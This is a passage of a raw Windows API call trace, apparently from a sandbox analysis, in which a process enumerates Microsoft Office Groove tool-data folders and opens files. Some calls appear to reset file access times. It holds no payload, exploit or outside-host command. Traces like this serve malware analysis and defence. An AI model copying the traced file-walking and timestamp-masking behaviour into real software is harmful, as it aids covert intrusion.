lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="")) returned 0 [0078.592] GetLastError () returned 0x12 [0078.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0078.592] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.593] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0078.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8060 [0078.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.595] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.595] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.595] NtClose (Handle=0x164) returned 0x0 [0078.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.597] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.597] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac07d0 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8480 [0078.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.598] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac07f0 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8588 [0078.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.599] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarViewButtonImages.jpg", cAlternateFileName="")) returned 1 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0810 [0078.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8690 [0078.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.600] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImage.jpg", cAlternateFileName="")) returned 1 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0830 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8798 [0078.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.600] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="")) returned 1 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0850 [0078.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b88a0 [0078.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="")) returned 0 [0078.601] GetLastError () returned 0x12 [0078.601] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.601] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarViewButtonImages.jpg", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImage.jpg", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="")) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="")) returned 0 [0078.601] GetLastError () returned 0x12 [0078.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.602] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.602] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="")) returned 1 [0078.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.604] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.604] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.604] NtClose (Handle=0x170) returned 0x0 [0078.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.605] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.606] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.606] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, 